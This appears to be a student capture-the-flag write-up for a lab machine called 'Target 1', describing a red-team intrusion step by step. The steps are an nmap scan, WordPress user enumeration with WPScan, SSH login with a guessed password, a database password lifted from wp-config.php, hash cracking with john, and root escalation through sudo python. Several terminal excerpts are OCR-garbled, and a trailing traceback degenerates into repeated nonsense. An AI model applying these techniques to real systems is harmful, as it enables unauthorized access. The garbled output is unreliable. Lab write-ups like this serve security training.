Red Team: Summary of Operations

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Exposed Services

Nmap scan results for target machine reveals the below services and OS details: Command: \$ nmap -sV 192.168.1.110

Results:

Target 1: 192.168.1.110

• Ports open (22, 80, 111, 139, 445)

```
rootankali:~# nmap 192.168.1.110 192.168.1.115
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-02 17:23 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00079s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)

Nmap scan report for 192.168.1.115
Host is up (0.00080s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open microsoft-ds
MAC Address: 00:15:5D:00:04:11 (Microsoft)

Nmap done: 2 IP addresses (2 hosts up) scanned in 0.40 seconds
rootankali:~#
```

This scan identifies the services below as potential points of entry:

- Target 1:
 - Port 22 Open SSH, CVE-2002-1715
 - o Port 80 open web port, CVE-2019-6579
 - Port 111 Open rpcbind port. Can be used to map other services running on other ports.
 - o Port 139 NetBIOS.
 - o Port 445 SMB port. Used for interprocess communication (i.e., filesharing, etc.)

The following vulnerabilities were identified on the target:

- Target 1:
 - User enumeration on Wordpress website.
 - Weak user credentials.
 - Unsalted password hashes.
 - Misconfigured access controls.

Exploitation

The Red Team was able to penetrate 'Target 1' and retrieve the following confidential data: Target 1:

- `flag1.txt`: b9bbcb33e11b80be759c4e844862482d
- **Exploit Used**
 - A list of users was enumerated using the WPSCAN on WordPress website.
 - o Users: Michael & Steven
 - Commands:
 - o wpscan –url http://192.168.1.110/wordpress --enumerate -u
 - o ssh <u>michael@192.168.1.110</u>
 - o password: michael obtained through guessing password.
 - Flag 1 located in service.html under html folder as root user.

- `flag2.txt`: fc3fd58dcdad9ab23faca6e9a36e581c
- **Exploit Used**
- Flag 2 located under web folder.
- Commands:
 - o cd ../
 - o ls -1
 - o cat flag2.txt

Irwxrwxrwx 10 root root 4096 Aug 13 2018 rtag2.t irwxrwxrwx 10 root root 4096 Aug 13 2018 rtml ichael@target1:/var/www\$ cat flag2.txt lag2{fc3fd58dcdad9ab23faca6e9a36e581c} ichael@target1:/var/www\$

- `flag3.txt`: afc01ab56b50591e7dccf93122770cd2 **Exploit Used**
- Flag 3 located in MySQL word press database under wp_posts table.
- Password for Michael to access database was found in the wp-config.php file under the wordpress folder.
- SQL Commands:
 - o To access SQL DB: mysql -u root -p
 - o password: R@v3nSecurity
 - show databases;
 - o use wordpress;
 - o show tables;
 - o select * from wp posts;
- Note: Password hashes will be found under wp_users; which will be needed to access steven's account.

- `flag4.txt`: 715dea6c055b9fe3337544932f2941ce
- **Exploit Used**
 - Flag 4 was located by cracking the password hashes, remotely accessing steven's machine and escalating privileges to root.
 - Obtain password hashes from SQL database, copy to Kali (attack machine) as a text file.
 - Password Cracking & SSH Commands:
 - o john wp hashes.txt
 - o ssh steven@192.168.1.110
 - o password: pink84
 - o sudo -1
 - o sudo python -c 'import pty;pty.spawn("/bin/bash")'
 - o cd/root
 - o ls
 - o cat flag4.txt

```
Traceback (most recent call last):
    file *cstrings*, line 1, in cmodule>
    file *cstrings*, line 1, in cmodule*, line
```